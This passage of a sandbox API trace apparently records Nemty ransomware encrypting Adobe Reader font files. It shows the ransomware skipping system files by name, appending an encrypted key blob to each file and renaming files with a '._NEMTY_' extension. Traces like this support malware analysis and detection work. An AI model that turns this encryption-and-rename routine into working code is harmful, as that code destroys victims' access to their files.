hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Oblique.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0214.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Oblique.otf", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd-Oblique.otf", lpUsedDefaultChar=0x0) returned 22 [0214.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Oblique.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0214.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Oblique.otf", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd-Oblique.otf", lpUsedDefaultChar=0x0) returned 22 [0214.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.256] Sleep (dwMilliseconds=0x5) [0214.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x335948f0, dwHighDateTime=0x1d561e8)) [0214.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x335948f0, dwHighDateTime=0x1d561e8)) [0214.264] GetLastError () returned 0x0 [0214.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.264] GetLastError () returned 0x0 [0214.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.264] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.264] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.264] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.264] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="f51C8uoCafQAFiLxZnqJuhDlppT0HN6LtwIZ0jy39Gk3Hgy/HN+ZKi+n6MPSUnrK\r\nNVESSw5RaqeDRwjW/p3JSbW1M6TML0yQb/J7z4hH3o6sxqM/2hdOY7BS9rBJN/2T\r\nDg1aJdPOtq/Kq7DfsQVvtPkAxlCfBorl6ZQuN0FCw+YrstntZmB9+KW/SvYW+zUt\r\n9DtsG+/b3Y7LQ/1xpQr87Mh0i68tv5hCmlmQbzbUlZWJX0ZbwSDLVIcH3BINRJ/6\r\nboZe2mzTSGxBgDW+6xd6ezrzc03Pu1Rix9w9JR64MfoAmbKRCOmM7Xc8lffE1DtK\r\nS/+YU4VBySsc9aB19kq/pQ==\r\n", pcchString=0x653e91c) returned 1 [0214.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.265] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-Oblique.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd-oblique.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.265] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=37432) returned 1 [0214.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9230) returned 0x6352c48 [0214.265] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.265] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9230, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x9230, lpOverlapped=0x0) returned 1 [0214.269] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.269] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9230, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x9230, lpOverlapped=0x0) returned 1 [0214.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.269] SetFilePointer (in: hFile=0x254, lDistanceToMove=37432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9238 [0214.270] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.270] CloseHandle (hObject=0x254) returned 1 [0214.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.270] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0214.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0214.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.270] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-Oblique.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd-oblique.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-Oblique.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd-oblique.otf._nemty_kgobjgd_")) returned 1 [0214.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.271] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd.otf", cAlternateFileName="COURIE~1.OTF")) returned 1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2=".") returned 1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="..") returned 1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="...") returned 1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="windows") returned -1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="rsa") returned -1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="NTDETECT.COM") returned -1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="ntldr") returned -1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="MSDOS.SYS") returned -1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="IO.SYS") returned -1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="boot.ini") returned 1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="boot.ini") returned 1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="AUTOEXEC.BAT") returned 1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="ntuser.dat") returned -1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="desktop.ini") returned -1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="CONFIG.SYS") returned 1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="RECYCLER") returned -1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="BOOTSECT.BAK") returned 1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="bootmgr") returned 1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="programdata") returned -1 [0214.271] lstrcmpiW (lpString1="CourierStd.otf", lpString2="appdata") returned 1 [0214.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd.otf", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0214.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd.otf", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd.otf", lpUsedDefaultChar=0x0) returned 14 [0214.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.271] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd.otf", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0214.272] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd.otf", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd.otf", lpUsedDefaultChar=0x0) returned 14 [0214.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.272] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd.otf", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0214.272] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd.otf", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd.otf", lpUsedDefaultChar=0x0) returned 14 [0214.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.272] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd.otf", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0214.272] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd.otf", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd.otf", lpUsedDefaultChar=0x0) returned 14 [0214.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0214.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.272] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0214.272] Sleep (dwMilliseconds=0x5) [0214.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x335baa50, dwHighDateTime=0x1d561e8)) [0214.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x335baa50, dwHighDateTime=0x1d561e8)) [0214.280] GetLastError () returned 0x0 [0214.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.280] GetLastError () returned 0x0 [0214.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.280] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.280] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.280] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.280] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="9orY3TU4Dt1R6E0mH3+5TLYohaODbnzUoW0dcZb6kmcC97cuZzBNgNWhHd8Ds0uQ\r\nzt8vsGtAwXt10wmUfh0KGP7/0gjhLp+hh7q4ytyafIHm/BfStHOQCimyWu4z9ERE\r\njtVA3tmetI4zCd845RYODqYmjz+xR2QJM4PicGdcZ0tyMCTVN7iBmOOsKfPNi+VS\r\nMiehFYcsgPyF/jeWGQ2LiWe4mLh/hmcS5Q25L+KV3M7XB/kukjpc6lu5boAB2bzs\r\n0A4tph62tx6RdskQxfh5CMYBx0nA7bQH6AEZ/ZNrnFThVHdxIFXHCep63KaoMvRd\r\nsVgOfEwXB2TvnvXyjp/yrA==\r\n", pcchString=0x653e91c) returned 1 [0214.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.280] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.281] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=35980) returned 1 [0214.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8c80) returned 0x6352c48 [0214.281] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.281] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8c80, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x8c80, lpOverlapped=0x0) returned 1 [0214.285] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.285] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8c80, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x8c80, lpOverlapped=0x0) returned 1 [0214.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.285] SetFilePointer (in: hFile=0x254, lDistanceToMove=35980, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8c8c [0214.285] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.285] CloseHandle (hObject=0x254) returned 1 [0214.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0214.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0214.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0214.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0214.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.285] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd.otf._nemty_kgobjgd_")) returned 1 [0214.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0214.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0214.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0214.286] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-Bold.otf", cAlternateFileName="MINION~4.OTF")) returned 1 [0214.286] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2=".") returned 1 [0214.286] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="..") returned 1 [0214.286] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="...") returned 1 [0214.286] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="windows") returned -1 [0214.286] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.286] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="rsa") returned -1 [0214.286] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="NTDETECT.COM") returned -1 [0214.286] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="ntldr") returned -1 [0214.286] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="MSDOS.SYS") returned -1 [0214.286] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="IO.SYS") returned 1 [0214.286] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="boot.ini") returned 1 [0214.287] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="boot.ini") returned 1 [0214.287] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="AUTOEXEC.BAT") returned 1 [0214.287] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="ntuser.dat") returned -1 [0214.287] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="desktop.ini") returned 1 [0214.287] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="CONFIG.SYS") returned 1 [0214.287] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="RECYCLER") returned -1 [0214.287] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="BOOTSECT.BAK") returned 1 [0214.287] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="bootmgr") returned 1 [0214.287] lstrcmpiW (lpString1="MinionPro-Bold.otf", lpString2="programdata") returned -1 [0214.287] lstrcmpiW 